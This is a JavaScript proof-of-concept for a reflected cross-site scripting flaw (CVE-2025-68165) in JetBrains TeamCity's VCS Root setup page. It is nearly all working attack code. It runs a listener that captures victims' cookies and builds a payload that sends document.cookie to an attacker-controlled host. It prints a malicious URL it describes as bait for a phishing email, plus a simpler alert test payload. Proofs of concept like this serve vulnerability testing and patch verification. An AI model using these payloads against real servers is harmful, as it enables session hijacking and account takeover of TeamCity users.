CVE-2025-68165: JetBrains TeamCity 反射型XSS漏洞

// CVE-2025-68165 PoC - Reflected XSS in JetBrains TeamCity VCS Root setup // Target: JetBrains TeamCity < 2025.11 const http = require('http'); // Attacker's controlled server to capture cookies const attackerServer = http.createServer((req, res) => { console.log('Received request from victim:', req.url); // Log the cookie or session info if (req.headers.cookie) { console.log('Cookie captured:', req.headers.cookie); } res.writeHead(200, {'Content-Type': 'image/gif'}); res.end('GIF89a'); }); attackerServer.listen(4444, () => { console.log('Attacker server listening on port 4444'); }); // Malicious URL construction for TeamCity VCS Root XSS // Replace TEAMCITY_URL with the target server const teamcityUrl = 'http://TEAMCITY_URL:8111'; const maliciousScript = `<script>new Image().src='http://ATTACKER_IP:4444?c='+document.cookie;</script>`; const encodedScript = encodeURIComponent(maliciousScript); // VCS Root parameter injection const xssPayload = `${teamcityUrl}/admin/admin.html?action=editVcsRoot&vcsRootId=test&name=test${encodedScript}`; console.log('\n=== CVE-2025-68165 Reflected XSS PoC ==='); console.log('Malicious URL to send to victim:'); console.log(xssPayload); console.log('\nIn a real attack, this URL would be disguised in a phishing email.'); console.log('When victim clicks the link, their cookies will be sent to attacker.'); // Alternative PoC - Direct script injection const simplePayload = `${teamcityUrl}/admin/admin.html?action=editVcsRoot&vcsRootId=test&name=<img src=x onerror=alert(document.domain)>`; console.log('\nSimple test payload:'); console.log(simplePayload);